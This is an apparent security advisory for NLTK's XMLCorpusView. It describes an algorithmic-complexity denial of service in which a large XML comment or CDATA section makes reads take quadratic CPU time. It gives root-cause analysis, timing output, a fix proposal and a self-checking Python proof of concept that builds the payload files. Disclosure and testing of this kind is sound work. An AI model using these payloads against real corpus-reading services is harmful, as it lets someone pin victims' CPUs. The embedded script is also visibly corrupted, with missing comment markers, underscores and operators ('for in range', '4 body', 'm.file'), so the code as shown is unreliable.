> affected: PyPI `nltk` `>= 3.6` — `nltk.corpus.reader.xmldocs.XMLCorpusView` streaming read (and the `nps_chat` / `framenet` readers built on it) > dynamically reproduced: `3.6` (6/6 checks), `3.9.2` (6/6), `3.10.3` (6/6) and `develop` `6818767b9` (6/6) --- Source references (`nltk/corpus/reader/xmldocs.py:NNN`) are to commit `6818767b99c24659107eb2be9bccd32a3d4bf045` (`develop`, `v3.10.3-15-g6818767b9`). The released `v3.10.3` wheel's `xmldocs.py` is byte-identical to that commit, so the same line numbers apply to the released wheel. Summary An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because `XMLCorpusView.read_xml_fragment` (`nltk/corpus/reader/xmldocs.py`) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. `XMLCorpusView` is NLTK's documented streaming API for XML corpora and is instantiated directly by the `NPSChatCorpusReader` and `FramenetCorpusReader` readers; the module header (`xmldocs.py:16-20`) explicitly handles untrusted corpus XML. The `in_tag` guard added to this function for GHSA-vp2x covers only a single oversized `<...>` tag and leaves the CDATA/comment path quadratic in the current release. Details Root cause: `_read_xml_fragment` (`xmldocs.py:273-338`) accumulates the file into one `fragment` string in `_BLOCK_SIZE` (1024) character chunks (`xmldocs.py:123, 298-299`). After every block that is not yet a well-formed prefix, the fragment is re-validated against `_VALID_XML_RE`. Two whole-buffer operations dominate: ```python xmldocs.py:308 if not in_tag and self._VALID_XML_RE.match(fragment): # whole-buffer match (O(len)) return fragment xmldocs.py:312 if re.search("[<>]", fragment).group(0) == ">": # O(1) for this input class: ... # the document starts with '<' xmldocs.py:329 if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len)) ... ``` For this input class the `re.search` probe at `xmldocs.py:312` is O(1): the fragment always starts with `<` (e.g. `<root>…`), so the first `<`/`>` character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at `xmldocs.py:308` and `xmldocs.py:329` (the latter scans the buffer up to the most recent `<`, which for this input sits near the end of the buffer). `_VALID_XML_RE` (`xmldocs.py:238-249`) is a *linear* regex (its tempered-dot comment/CDATA bodies `(?:(?!-->).)*` / `(?:(?!\]\]>).)*` scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the *match itself fails after scanning the whole buffer*. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations. The `in_tag` guard added for GHSA-vp2x (`xmldocs.py:283-305`) tracks only bare `<`/`>` characters: it is `True` inside an unclosed `<...>` tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary `<`/`>` inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at `xmldocs.py:283-289` even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only. The single-match cost is linear, not super-linear: the embedded script measures `_VALID_XML_RE.match()` on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate. Version nuance (all dynamically verified): - `3.10.3` / `develop` (guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path. - `3.6` / `3.9.2` (pre-guard): these releases use a *lazy* `_VALID_XML_RE` whose CDATA alternative `<![CDATA[.*?]]>` never matches (the `[CDATA[.*?]` substring is parsed as a character class), so a CDATA document is rejected with `ValueError: Unexpected end of file: tag not closed` after the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched. PoC The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing `<`/`>` characters with no `-->` before the final marker, drives `XMLCorpusView`'s fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure. Scope note: dynamically run on `3.6`, `3.9.2`, `3.10.3` (released wheels from PyPI / the local 3.10.3 wheel) and `develop` `6818767b9` (checked out source). No releases outside those were run; the `>= 3.6` bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds. Live transcript (recorded run on the `3.10.3` wheel; the `3.6`, `3.9.2` and `develop` `6818767b9` runs are summarized below): ``` [TIMING] unclosed comment n=65558 t=0.083s 4n=262166 t=1.070s ratio=12.9 (n->returned) [PASS] attack document is well-formed XML (parses with ElementTree) (both sizes parse; root element tag='root') [PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4) (measured 12.9) [INFO] in-tag guard present in module: True [TIMING] CDATA variant n=65561 t=0.142s 4n=262169 t=2.169s ratio=15.3 (n->returned) [PASS] CDATA variant also super-linear on guard-present build (measured 15.3) [TIMING] single _VALID_XML_RE.match 256KiB=0.0083s 512KiB=0.0741s 1MiB=0.1419s 2MiB=0.2804s [PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear) (measured 4x ratio=3.79) [TIMING] oversized tag (control) n=1048576 t=0.059s 4n=4194304 t=0.242s ratio=4.1 [PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8) (measured 4.1) [PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document (1 item(s) read from 65558-byte document) RESULT 6/6 checks passed, 0 failed ``` Other runs (all 6/6; essential lines only): ``` 3.6 (pre-guard): comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19 3.9.2 (pre-guard): comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95 develop 6818767b9: comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76 ``` (The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.) Impact - Type: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact. - Who is impacted: any deployment that feeds corpus XML to `XMLCorpusView` (or to the `nps_chat` / `framenet` readers) from a source not fully trusted — the exact "untrusted input" threat model in `SECURITY.md`. The input is ordinary, *well-formed* XML; nothing about it is malformed or rejected by any parser. - Attacker requirements: deliver a well-formed XML file whose body contains a large comment or CDATA section with `<`/`>` characters and the terminator at the end. No privilege and no user interaction are required beyond the *automated* read of the file — the same delivery model as other NLTK resource-loading issues (`SECURITY.md`), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies `UI:N` and `AV:N` in the score above. - Effect: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned. Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like `in_tag` already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed `<!...` construct (no `]]>` / `-->` / doctype terminator yet), and skip the whole-buffer matches at `xmldocs.py:308` and `xmldocs.py:329` whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing `nltk/test/unit/test_quadratic_dos.py` cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear. --- Reproduction script (self-contained) ```python !/usr/bin/env python3 """Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost). Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``) reads a file in 1024-char blocks and accumulates them into a single ``fragment``. After every block that is not yet a well-formed prefix, it re-runs a *linear* pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe, ``re.search("[<>]", fragment)``, is O(1) here because the document starts with '<'.) For a fragment that stays "unclosed" across many blocks -- a CDATA section or comment whose terminator (``]]>`` / ``-->``) lies far ahead -- every block costs O(current buffer length), so a single document of N bytes costs ~O(N^2) character operations. The in-tag guard added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed CDATA / comment state, so this class remains quadratic in the current release. The attack documents are *well-formed* XML: comments and CDATA may legally contain '<' and '>'. Controls: 1. Well-formedness: the attack document parses with ElementTree. 2. Linear baseline on the same reader: an oversized *single tag* of the same size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x case). On pre-guard builds it is quadratic too -- reported, not asserted. 3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the same sink. Assertions: - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4). - tag-control doubling ratio must be ~linear (< 8) when the guard is present. Usage: python3 repro_xmlcorpusview_unclosed_cdata.py Env: PYTHONPATH : site-packages of the nltk version under test (required) NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536) """ import io import os import shutil import sys import tempfile import time import xml.etree.ElementTree as ET Point NLTK's sandbox at a private data root so the public API reachability check below may open its own corpus file (pathsec only trusts data roots and private temp dirs; a shared /tmp is not an allowed root). _DATA_ROOT = os.environ.get("NLTK_DATA") _CLEANUP_ROOT = None if not _DATA_ROOT: _DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview") os.environ["NLTK_DATA"] = DATA_ROOT _CLEANUP_ROOT = _DATA_ROOT from nltk.corpus.reader.xmldocs import XMLCorpusView def elapsed(fn): start = time.perf_counter() fn() return time.perf_counter() - start def build_comment_doc(body_size): # Well-formed XML: one root, one large comment containing '<' and '>' and # no '-->' before the closing marker. body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size] return "<root><!-- " + body + " --></root>" def build_cdata_doc(body_size): # Well-formed XML: one root, one large CDATA containing '<' and '>' and no # ']]>' before the closing marker. body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size] return "<root><![CDATA[" + body + "]]></root>" def build_unclosed_cdata_prefix(body_size): # The line-308 match input: an accumulating fragment that is still inside # an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache # reuse with the attack-timing buffers above, which would skew the timing. body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size] return "<root><![CDATA[" + body def build_giant_tag(body_size): # Control: a single oversized '<a ...>' tag, no '>' until the very end. return "<a " + ("x" * body_size) + ">" def guard_present(): import nltk.corpus.reader.xmldocs as m with open(m.file, encoding="utf-8") as fh: return "in_tag" in fh.read() view = XMLCorpusView.new(XMLCorpusView) results = [] def check(name, cond, detail=""): results.append(bool(cond)) print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f" ({detail})" if detail else "")) def read_frag(doc): """Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard releases raise for CDATA-containing documents.""" try: return view._read_xml_fragment(io.StringIO(doc)) except ValueError as exc: return "ValueError: %s" % exc def time_ratio(build, n1, n4): d1, d4 = build(n1), build(n4) t1 = elapsed(lambda: read_frag(d1)) t4 = elapsed(lambda: read_frag(d4)) return d1, d4, t1, t4 ---- Sizes --------------------------------------------------------------- body = int(os.environ.get("NLTK_BODY_SIZE", "65536")) tag1, tag4 = 1 << 20, 4 << 20 # 1 MiB / 4 MiB (guard-present linear baseline) ---- Primary attack: large comment unclosed until its final '-->' --------- c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body) ratio = t4 / t1 out1 = read_frag(c1) # outcome probe (returned string vs ValueError) outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1 print(f"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s " f"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n->{outcome})") check( "attack document is well-formed XML (parses with ElementTree)", ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root", f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'", ) check( "unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)", ratio > 10.0, f"measured {ratio:.1f}", ) ---- CDATA variant --------------------------------------------------------- has_guard = guard_present() print(f"[INFO] in-tag guard present in module: {has_guard}") d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body) dratio = td4 / td1 dout = read_frag(d1) doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout print(f"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s " f"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n->{doutcome})") if has_guard: check( "CDATA variant also super-linear on guard-present build", dratio > 10.0, f"measured {dratio:.1f}", ) else: # Pre-guard releases cannot validate any CDATA (their regex's CDATA # alternative never matches), so the fragment ends in ValueError -- a # separate functional defect; report only. check( "pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)", doutcome.startswith("ValueError"), str(doutcome), ) ---- Single-match linearity of _VALID_XML_RE ------------------------------ The quadratic total comes from re-running a *linear* whole-buffer match on every block, not from the regex itself backtracking super-linearly (a single match would then also blow up with input size). Verify single-match scaling. The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x faster in an already-warmed engine, so it is reported but not asserted on). def best_match_ms(buf): view._VALID_XML_RE.match(buf) # warm-up (cache pattern + char-class state) return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for in range(3)) ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)} print(f"[TIMING] single _VALID_XML_RE.match 256KiB={ms[1 << 18]:.4f}s 512KiB={ms[1 << 19]:.4f}s " f"1MiB={ms[1 << 20]:.4f}s 2MiB={ms[1 << 21]:.4f}s") check( "single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)", ms[1 << 21] / ms[1 << 19] < 6.0, f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}", ) ---- Control: giant single tag on the same reader --------------------------- if has_guard: g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4) gratio = tg4 / tg1 print(f"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s " f"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}") check( "oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)", gratio < 8.0, f"measured {gratio:.1f}", ) else: g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 body) gratio = tg4 / tg1 print(f"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s " f"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}") check( "oversized single tag also super-linear pre-guard (report-only)", gratio > 4.0, f"measured {gratio:.1f}", ) ---- Reachability: the public XMLCorpusView API drives the same sink ------- path = os.path.join(_DATA_ROOT, "attack.xml") with open(path, "w", encoding="utf-8") as fh: fh.write(c1) try: items = list(XMLCorpusView(path, ".")) check( "public API list(XMLCorpusView(path, '.*')) reads the attack document", len(items) >= 1, f"{len(items)} item(s) read from {len(c1)}-byte document", ) finally: if _CLEANUP_ROOT: shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True) passed = sum(results) failed = len(results) - passed print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed") sys.exit(0 if failed == 0 else 1) ``` Fix status (2026-09-28) Status: IN PROGRESS (fix on an open pull request, not yet on develop). Two open pull requests carry a fix. PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input). PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input). The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input). Release: none.